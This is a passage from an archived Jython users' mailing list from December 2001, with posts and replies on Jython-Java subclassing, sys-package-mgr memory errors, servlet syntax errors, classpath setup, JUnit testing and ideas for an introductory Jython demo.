MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -- - Michael Krause - Email mi...@kr... |
From: Ted B. <te...@et...> - 2001-12-24 12:39:35
|
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I am developing an application which stores data in XML format and allows users to maniuplate that data via a JTree control. There are a number of node-types that users can create and store in the tree. So far, all of them have been implemented in java. All of these nodes are subclasses of BaseNodehandler, and I would like to provide for users creating subclasses of BaseNodehandler with jython and then storing them in the tree ( and manipulating them ). I have tried subclassing like this: class foo( BaseNodehandler ): def __init__( self, element ): "@sig public foo( org.jdom.Element elem )" BaseNodehandler.__init__( self, element ) and 'pulling' it into the java code like this: Object tmp = interp.get( "instance_of_foo" ).__tojava__( BaseNodehandler.class ); BaseNodehandler bnh = (BaseNodehandler)tmp; But tmp is an instance of PySingleton, and so does not cast correctly to bnh. My question: Is there a HOWTO somewhere detailing how to do this? I have frittered days away trying to figure out what I'm doing, and haven't made much progress. ted -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8JyIA2YmJb3AmqHYRAg71AKCEY07Sfg7HwNwVe+8JAHmd7J0FVQCfWU3A kjF/f0ZjOG1uKlu0akqJn5E= =9crS -----END PGP SIGNATURE----- |
From: Ype K. <yk...@xs...> - 2001-12-24 09:10:22
|
Martin, >After applying the Max OS X 10.1.2 update one of my users is no longer able to run my application because sys-package-mgr triggers an out of memory error. > >My question, what exactly is the purpose of the sys-package-mgr? Editing my registry file so it just loads the sun boot path results in a lot fewer jars loading, yet my application still runs fine. What jars are required? How can I safely reduce the classes that the package manager caches? The package manager creates an index for each jar (or zip) on the class path, but only the first time it encounters the jar (or zip). The index is used to quickly determine where a class can be found, eg. during imports. As there are quite a few jars available in your case, the indexing process runs out of memory. The easy way out is either to increase memory, (-mx flag as indicated), or to restart. Restarting should skip the jars for which an index is already available, and use not as much memory. You have a problem when the index files cannot be written. In that case each start of jython will retry to build the index files. It is possible that your latest system update left the index directory unwriteable, or that the user does not have write access to the index directory. If the latter is the case run jython once with the proper permissions, enough memory, and all jars on the class path, so all index files are created. The user can then use the index as jython will only read it. There is a default index directory and iirc you can also set it in the jython properties file. Jython by itself only needs jython.jar and basic java runtime classes. You can reduce the work of the package manager by taking jar files off the class path. >Thanks, > >Martin My pleasure, Ype > >*sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/readerware.jar' >*sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/jh.jar' >*sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/hsql.jar' >*sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/jython.jar' >*sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/calpahtml.jar' >*sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/log4j-core.jar' >*sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/hsql_10.jar' >*sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/skinlf.jar' >*sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/HTMLWindow.jar' >*sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/jsse.jar' >*sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/jnet.jar' >*sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/jcert.jar' >*sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/apple.jar' >*sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Classes/classes.jar' >*sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Classes/ui.jar' >*sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Classes/i18n.jar' >*sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Classes/sunrsasign.jar' >*sys-package-mgr*: processing new jar, '/System/Library/Java/Extensions/CoreAudio.jar' >*sys-package-mgr*: processing new jar, '/System/Library/Java/Extensions/QTJava.zip' >*sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Home/lib/ext/jcert.jar' >*sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Home/lib/ext/jnet.jar' >*sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Home/lib/ext/jpda.jar' >*sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Home/lib/ext/jsse.jar' >Out of Memory >You might want to try the -mx flag to increase heap size > > >_______________________________________________ >Jython-users mailing list >Jyt...@li... >https://lists.sourceforge.net/lists/listinfo/jython-users -- |
From: Updike, C. <Cla...@jh...> - 2001-12-24 01:40:35
|
Finn Bock suggested removing the tabs in front of the class declaration and indeed that did the trick (they were the result of a cut/paste I did on the Hello.py servlet). Thanks to Finn for the suggestion. Tech support on a Sunday two days before Christmas... God bless open source and the people that make it happen. -Clark > I'm trying to run the Hello.py servlet example but I get the exception > from PyServlet.loadServlet() shown below. The strange thing is that I > can execute the statement execfile('C:\Program Files\Apache Tomcat > 4.0\webapps\JythonServlet\Hello.py') from the interactive interpreter > without getting the 'invalid syntax' problem (which I think shows that > the path is valid). Anyone have any ideas? > > TIA, > Clark > > javax.servlet.ServletException: Could not create Jython servletTraceback > (innermost last): > (no code object) at line 0 > SyntaxError: ('invalid syntax', ('C:\Program Files\Apache Tomcat > 4.0\webapps\JythonServlet\Hello.py', 3, 9, ' class > Hello(javax.servlet.http.HttpServlet):')) <snip> |
From: Jose L. Trejo-M. <jt...@ur...> - 2001-12-23 03:13:24
|
I looked everywhere (could not do a search on this list's archive, is it possible?) but could not find an answer to my problem. Jython 2.0 is not working after installing it. I type "jython" on a command line and get "Exception in thread "main" java.lang.NoClassDefFoundError: and". The FAQ mentions something about this error but only when the ".class" extension is included in the jython batch file, and as you can see below, my jython.bat has none of it: set JAVA_HOME=C:\jdk1.3.1_01 C:\jdk1.3.1_01\bin\java.exe -Dpython.home=C:\jdk1.3.1_01\lib\jython - cp .;C:\jdk1.3.1_01\lib\jython\jython.jar;%CLASSPATH% org.python.util.jython %1 %2 %3 %4 %5 %6 %7 %8 %9 I had to take all the quotes of the command line parameters above that the installer put. java.exe wouldn't even execute the file before I did that. I installed from jython-20.class. Please help! Thanks. -Jose. |
From: Martin W. <mc...@re...> - 2001-12-22 19:21:40
|
After applying the Max OS X 10.1.2 update one of my users is no longer able to run my application because sys-package-mgr triggers an out of memory error. My question, what exactly is the purpose of the sys-package-mgr? Editing my registry file so it just loads the sun boot path results in a lot fewer jars loading, yet my application still runs fine. What jars are required? How can I safely reduce the classes that the package manager caches? Thanks, Martin *sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/readerware.jar' *sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/jh.jar' *sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/hsql.jar' *sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/jython.jar' *sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/calpahtml.jar' *sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/log4j-core.jar' *sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/hsql_10.jar' *sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/skinlf.jar' *sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/HTMLWindow.jar' *sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/jsse.jar' *sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/jnet.jar' *sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/jcert.jar' *sys-package-mgr*: processing new jar, '/Volumes/Pluto/Readerware/ReaderwareAW.app/Contents/Resources/Java/lib/apple.jar' *sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Classes/classes.jar' *sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Classes/ui.jar' *sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Classes/i18n.jar' *sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Classes/sunrsasign.jar' *sys-package-mgr*: processing new jar, '/System/Library/Java/Extensions/CoreAudio.jar' *sys-package-mgr*: processing new jar, '/System/Library/Java/Extensions/QTJava.zip' *sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Home/lib/ext/jcert.jar' *sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Home/lib/ext/jnet.jar' *sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Home/lib/ext/jpda.jar' *sys-package-mgr*: processing new jar, '/System/Library/Frameworks/JavaVM.framework/Versions/1.3.1/Home/lib/ext/jsse.jar' Out of Memory You might want to try the -mx flag to increase heap size |
From: Ype K. <yk...@xs...> - 2001-12-22 17:26:04
|
Jason, >A little background... I am tring to setup an environment where I can use >Jython with JUnit to test Java systems. I also didn't want to loose the >ability to use pure java tests and wanted to make use of the current Ant >tasks to run the tests and generate reports. PyUnit, ie. unittest.py also runs well under jython, but there is only a text interface, as the gui is not based on swing/awt. PyUnit is derived directly from JUnit, so it might better fit your needs. >From the first glance it looks like jythonc is exactly what I want... and >well it sort of works, but it is very touchy about what it can do. I had >things working, then broke it by a minor change (which didn't affect the >running of the .py's), spent hours finding out what was wrong... then did >the same thing all over again. > >So, I have overcome the hurdle of having a Jython class extend from >junit.framework.TestCase, and pass its name in the constructor (for both >compiled and interpreted use). > >The problem I am running into now, is that I moved some of the support bits >that allow the above to work into a support.py module... well that isn't >what actually caused the problem, the actual problem was when I tried using >a package to better organize tests. > >What I have is something like this: > > src/py/support.py > src/py/command/__init__.py > src/py/command/executor.py > >I am setting -Dpython.path=src/py and running jythonc with arguments like: >jythonc --deep --package my.package.pytest --workdir output/jpywork --falsenames ENABLE_SUPER_CLASS_INIT support command.executor > >Which produces output like this: > ><snip> ></snip> > >So far so good... until I try to startup the test runner. I get a >"ImportError: no module named support" exception when running. You might try adding an empty file src/py/__init__.py <snip/> > >Thanks, My pleasure, Ype |
From: Ype K. <yk...@xs...> - 2001-12-22 17:26:02
|
>hi all, > >This is my first post to the list. >Our company does'nt use python. many have'nt even heard of it. > >Ours is mainly a java shop. > >We have lots of internal training sessions @ our place. >Anyone with a decent knowledge of a particular subject can take such >sessions. >I was planning to take an introductory session on python. > >I feel irrespective of how good the language is, not many >w'd want to try it out unless and otherwise they can see lots of >supporting tools and libraries. > >it has to be 1 hour talk. I have picked up a few topics. > >Ours being a java shop, i feel, the most important topic would be jython. > >Any suggestion w'd be of great help to me. > >Please give me ideas of some simple demonstration i can do with jython. >Something that w'd've some effect on our guys. >I wrote small gui stuff in swing using jython. >I can probably show how the number of lines is far less that what you w'd >write for a >typical java swing application. > >I need more intutive stuff. How about a little interactive jython session exploring some of the java libraries you are using? You already have some gui stuff demonstrating swing, but other libraries can have similar treatment interactively, ie. no compilation needed: import your.preferred.package as p # should be on the class path. dir(p) dir(p.demoClass) # ie. some class in the package. obj = p.demoClass() # create an object. obj.toString() res = obj.someMethod('arg1', None) # invoke a method on the object. print res >am no expert, infact am a newbie but am comfortable woth python syntax, >features. >who wants to spread the usage of python/jython @ our place. Or write a few test cases using PyUnit, to show the compactness of python test code over java code doing the same thing. This might take some time investment, but testing is a very nice subject for interpreted code as normally the speed of the testing code is not important. The ability to quickly change sth in your testing code without having a compiler in between is also valuable in practice. >But unless i tell them how i managed to get something done easily using >jython, >they w'd'nt be impressed. When you can have jython.jar on the class path you might consider using it for some real work first and then showing it. >like some examples of what i can achieve by embedding the jython interpreter >inside my java code >in a very efficient manner. It is normally easier to start the other way round: invoking your java code from jython code. >Any inputs/ideas for the demo would be of great help to me. > >thanks, >karthik. Good luck, Ype |
From: Updike, C. <Cla...@jh...> - 2001-12-22 15:28:42
|
I'm trying to run the Hello.py servlet example but I get the exception from PyServlet.loadServlet() shown below. The strange thing is that I can execute the statement execfile('C:\\Program Files\\Apache Tomcat 4.0\\webapps\\JythonServlet\\Hello.py') from the interactive interpreter without getting the 'invalid syntax' problem (which I think shows that the path is valid). Anyone have any ideas? TIA, Clark javax.servlet.ServletException: Could not create Jython servletTraceback (innermost last): (no code object) at line 0 SyntaxError: ('invalid syntax', ('C:\\Program Files\\Apache Tomcat 4.0\\webapps\\JythonServlet\\Hello.py', 3, 9, ' class Hello(javax.servlet.http.HttpServlet):')) at org.python.util.PyServlet.loadServlet(PyServlet.java) at org.python.util.PyServlet.getServlet(PyServlet.java) at org.python.util.PyServlet.service(PyServlet.java) <snip> P.S. The exception is from this code block in PyServlet.java, loadServlet(): try { interp.execfile(path); PyObject cls = interp.get(name); if (cls == null) throw new ServletException("No callable (class or function) "+ "named " + name + " in " + path); PyObject pyServlet = cls.__call__(); Object o = pyServlet.__tojava__(HttpServlet.class); if (o == Py.NoConversion) throw new ServletException("The value from " + name + "must extend HttpServlet"); servlet = (HttpServlet)o; servlet.init(getServletConfig()); } catch (PyException e) { throw new ServletException("Could not create "+ "Jython servlet" + e.toString()); } |